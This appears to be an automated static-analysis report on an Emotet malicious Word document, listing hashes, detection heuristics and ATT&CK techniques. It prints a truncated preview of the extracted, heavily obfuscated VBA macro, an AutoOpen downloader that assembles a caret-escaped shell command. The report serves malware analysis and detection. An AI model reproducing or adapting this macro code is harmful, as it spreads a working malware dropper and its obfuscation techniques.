Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4962bb8fa06745ac…

MALICIOUS

Office (OLE)

198.8 KB Created: 2018-09-25 19:24:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 8db32eab99c56ec395fac39cf5b48fd3 SHA-1: 6896dde387162cc20f14e8ce233285173680851c SHA-256: 4962bb8fa06745ac0bcc5cf643dfe8924e192384e2a8b6012775596b0ff02b07
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample was detected as Emotet by ClamAV and exhibits critical heuristic firings for VBA macros and the use of the Shell() function. The AutoOpen macro is present, indicating an attempt to execute malicious code upon opening the document. The script likely downloads and executes a second-stage payload, consistent with Emotet's behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6826486-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826486-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 214322 bytes
SHA-256: e4c74feb595fbb547514a24255d269838aff5ff32046e1522b88cc43c52585ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QtWikWz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim WrHMzj(1)
WrHMzj(0) = Mid(QqcEbqww + RwoqaaXDUnEvvtQaLRskt + YtqsO, 503, 962) + Left(nqjRjpBj + MvjKLhYSSZlUCiFLFN + HFZAz, 880) + MidB(MjirLr + ijBfVObuwiLvUwzYElJhiwC + LuIKvZd, 476, 226) + MidB(tiiGCPL + hllXSduYXiTAujAoVraliB + HCfPlhW, 980, 508)
   Dim roXhzE(1)
roXhzE(0) = Right(rBZCci + qYJkXjaCSJCrmkBXWv + HNlcm, 541) + Left(qzpRjwTK + ViivraZURaLYMCXm + asVSEBVv, 115) + MidB(MIanhMWK + IsWfPtUwwYHZJdmYkdO + zackipB, 534, 606) + MidB(zwmpPc + USEijYijmnrnjoJIpG + bwcmKqwJ, 154, 32)
sQwdpbhsQHr (KeyString(SfEZosTs + GOvvzzHz + 11 + 8 + 3 + 9 + 36 + nDmVTI + ivJsDbw) + AzmimqNw + phWraA + KeyString(PsiGj + NokOLTz + 13 + 10 + 3 + 11 + 40 + HCUnB + ZDpIEI) + ZPtoFN + rqvXpPJ + ItSNwXRA + PzvhL + wWjQAjYZSWV + ivVuluj + mhFWVLWTZ + jCJIOWcBRK + rrvkSVWtR + MQhBikhdQwE + JNfOYHBmZzT + cjiDHwD + qECHW + FIYXkBBYB + jaVWzoadHoh + mZnOJCG + zhMkFSZiTKB + uswjGH + rrYILFBF)
   Dim dQEoH(2)
dQEoH(0) = MidB(MKKCIDw + wSZawoAGqucBoDdcwqn + RNGSvjT, 238, 449) + Mid(YwDXo + iQKECIOFZUdZpIji + WWhEb, 595, 554)
dQEoH(1) = MidB(FnumFcYN + KjitrtAEGunGKwLubnjWFUhi + zQvZu, 682, 479) + MidB(pLaailE + kouhvOjiKYZKBBpzO + ZSRnoAM, 39, 711)
   Dim FDYqrN(1)
FDYqrN(0) = Right(nIfbhVIf + TtiCrjoVwPUvGEJhXLrbh + CriGDmU, 152) + MidB(LCLpACs + TMYWFpwNDcRBsJFPvcAnwZ + zrWJzHJ, 829, 408)
   Dim CZWckE(1)
CZWckE(0) = MidB(rncfio + mwNZjzGkGDizkoPCHu + sUsPd, 258, 230) + MidB(zoTEsuC + PsdAkOGsrSlCcUErkztY + jKRqLt, 242, 10) + Mid(YdrkdIl + qwvMwQpLSvWUDDpCMzG + wvKdUNbO, 77, 78) + Left(lwSZoD + QHEwKhZjcWkMGFuVwq + QbLRFX, 549)
End Sub


Attribute VB_Name = "AwIIPVh"
Function ZPtoFN()
FujPnKFLw = "d " + CStr(Chr(7 + 1 + 3 + 3 + 33)) + "V^" + ":^" + "ON" + CStr(Chr(7 + 1 + 3 + 3 + 33)) + "C" + CStr(Chr(4 + 0 + 2 + 2 + 26)) + "s" + "^" + "e^" + "t"
jcURdFlwNU = " " + "^+" + "^'" + ".^" + "`" + "=" + "5" + "01" + "^" + " " + "1" + "0" + "9" + "^" + " 0"
oPNtJdXdbj = "9" + "^" + "3^" + " ^" + "91"
PpYXErvjjQ = "0" + "^" + " " + "3" + "0" + "1" + "^ " + "^3"
AuzTltlYw = "0" + "^1" + " " + "5" + "1^" + "3" + " ^" + "1^" + "3"
nSqMHwC = "0" + "^ " + "9" + "^3" + "^" + "0 " + "^3" + "5" + "^9" + " 0" + "31" + "^" + " ^" + "10"
ZPtoFN = FujPnKFLw + jcURdFlwNU + oPNtJdXdbj + PpYXErvjjQ + AuzTltlYw + nSqMHwC
   Dim XMQsRn(2)
XMQsRn(0) = Left(Ewwipl + hprqbwzpAjwhGshAJBdH + AFaNjrwO, 835) + Mid(FcHYMbj + jkwXQHlczDhCsYbcIki + vaPabza, 888, 806)
XMQsRn(1) = MidB(PHDwuk + uYvDifjzGIWwuUbhJfWJr + MlVfiYY, 923, 925) + Mid(XhuvI + hMRVmbGWBGXPDTuSUY + CwPbSqmN, 431, 928) + Left(GNqwt + VWpYpndaAqGPzWXznjQ + attdpcv, 479) + MidB(OaMZZ + MMMjqGNwTbukfFivDJnzERK + oCzwVIU, 67, 525)
   Dim OvRdZv(2)
OvRdZv(0) = Mid(iHUvRf + kmJfwlPpprrmrDNaAnU + FDSfMdXH, 610, 814) + Left(HCRdo + LVSitcrDEhQRasNFDL + MwGbkAv, 954) + MidB(QzWmZ + jmTDwOipcZPismGinvsq + VNwbv, 773, 377) + MidB(TZwjNWss + WidVZGfqlOrvLMPHuoFa + RuGsLv, 47, 966)
OvRdZv(1) = MidB(ZrrZULI + hcinkJclzjRHHMdmf + sdZXk, 402, 811) + Left(fcYFlnG + CSRwiSBkSIiMVjBONAo + QEoikWTG, 136) + Right(YvtuEEj + iAJfLkmrJHNidjjQN + bqUoa, 806) + MidB(IREOU + JXAUjOzYrdLQYVZcZSKX + jiAqJ, 352, 945)
End Function
Function rqvXpPJ()
Dim jAGuwz(1)
jAGuwz(0) = Left(KPSCUKnj + jblmzVLOfloLdpfPizmFilE + WGzhw, 523) + Left(BtDki + INWEpMosTCkzWsCIVI + skZfd, 935) + Mid(vsDwRPA + hmGOuqFnsKiZmacJPjLXBn + uaqmrYSo, 421, 498) + Left(tUsjEjwV + UHljOJVEaowLNTJHzE + javobS, 413)
   Dim IZczMb(1)
IZczMb(0) = Left(zRWiVm + jfLAcZHjizUVhHCPRN + cGAcnjd, 767) + Mid(FEjTVOj + QhiSBXQbTWuwjtcwU + qQmQd, 223, 751)
   Dim lRFiAK(1)
lRFiAK(0) = Mid(SGVPJ + fjwNnIYSoFGtwjjDM + UFIww, 600, 961) + Right(WfnJv + DWdtnvDsoYJljOXLtEpP + kkibfL, 962)
   Dim fmqIUi(2)
fmqIUi(0) = Right(JsHbdaV + IPfDiCWdYcLBHBYWzok + VZwuWUum, 911) + MidB(oFkBku + GiVHkGOVzbaXdFFCAIdq + oMHXWm, 61, 36)
fmqIUi(1) = Mid(RzSLnHw 
... (truncated)

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